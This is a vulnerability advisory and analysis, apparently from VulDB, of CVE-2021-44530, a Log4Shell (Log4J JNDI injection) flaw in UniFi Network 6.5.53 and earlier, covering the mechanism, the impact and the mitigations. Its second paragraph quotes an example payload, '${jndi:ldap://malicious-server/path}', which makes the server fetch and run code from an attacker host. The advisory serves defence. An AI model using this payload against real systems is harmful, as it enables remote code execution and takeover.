CVE-2021-44530 in UniFi Network
Summary
by MITRE • 01/14/2022
An injection vulnerability exists in a third-party library used in UniFi Network Version 6.5.53 and earlier (Log4J CVE-2021-44228) allows a malicious actor to control the application.
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Analysis
by VulDB Data Team • 01/19/2022
The vulnerability identified as CVE-2021-44530 represents a critical security flaw within the UniFi Network software ecosystem that leverages the widespread Log4Shell vulnerability CVE-2021-44228 through a third-party library dependency. This issue affects UniFi Network versions 6.5.53 and earlier, creating a pathway for attackers to achieve complete system compromise through a carefully crafted injection attack. The vulnerability stems from the improper handling of user-supplied input within the logging framework that utilizes Log4J, allowing malicious actors to execute arbitrary code on affected systems. The exploitation of this flaw follows established patterns described in the attack framework, where attackers can leverage the Log4J vulnerability to inject malicious payloads through various input vectors including HTTP headers, cookies, and API parameters, ultimately leading to remote code execution and full system control.
The technical implementation of this vulnerability operates through the Log4J library's built-in functionality that automatically resolves and executes JNDI (Java Naming and Directory Interface) lookups when processing log messages containing specific patterns. When UniFi Network processes user input that gets logged through the vulnerable Log4J component, an attacker can craft malicious input containing JNDI lookup strings such as ${jndi:ldap://malicious-server/path} which triggers the library to connect to a remote server and execute code. This pattern aligns with the Common Weakness Enumeration CWE-77 and CWE-94 categories, specifically addressing weaknesses in input validation and code injection. The vulnerability operates at the application layer and can be exploited remotely without authentication, making it particularly dangerous for network infrastructure devices that are often exposed to external networks. The attack chain follows the MITRE ATT&CK framework's T1059.007 technique for command and scripting interpreter, where the initial compromise leads to execution of arbitrary commands on the target system.
The operational impact of CVE-2021-44530 extends beyond simple unauthorized access to encompass complete system takeover capabilities that can result in data exfiltration, lateral movement, and persistent access within network environments. Organizations running affected UniFi Network versions face significant risk of compromise since the vulnerability allows attackers to establish backdoors, modify network configurations, and potentially use the compromised devices as launching points for further attacks against internal network resources. The vulnerability's exploitation can lead to the installation of persistent malware, modification of network traffic, and unauthorized access to sensitive network information. Security teams must consider the cascading effects of such compromises, particularly in environments where UniFi devices serve as network infrastructure components that may be trusted by other network services. The vulnerability's characteristics place it within the ATT&CK matrix under T1566 for initial access and T1071.004 for application layer protocol, demonstrating how a single vulnerable component can enable multiple attack vectors and compromise the overall network security posture.
Organizations should immediately implement mitigations including updating to UniFi Network versions that have patched the Log4J dependency, disabling unnecessary network services, implementing network segmentation to limit access to affected systems, and monitoring for suspicious network activity. The remediation process involves updating the Log4J library to version 2.15.0 or higher while ensuring that all third-party applications and libraries are also updated to prevent similar issues. Security controls should include implementing web application firewalls to detect and block malicious JNDI lookup patterns, monitoring for unusual LDAP or RMI connections, and establishing proper input validation across all application interfaces. Additional defensive measures include configuring the JNDI lookup restrictions within Log4J to prevent remote connections and implementing network-level controls to block communication with known malicious domains. These mitigations align with industry best practices and help address the vulnerability through multiple defensive layers as recommended by security frameworks such as NIST SP 800-171 and ISO 27001, ensuring comprehensive protection against similar injection vulnerabilities in the future.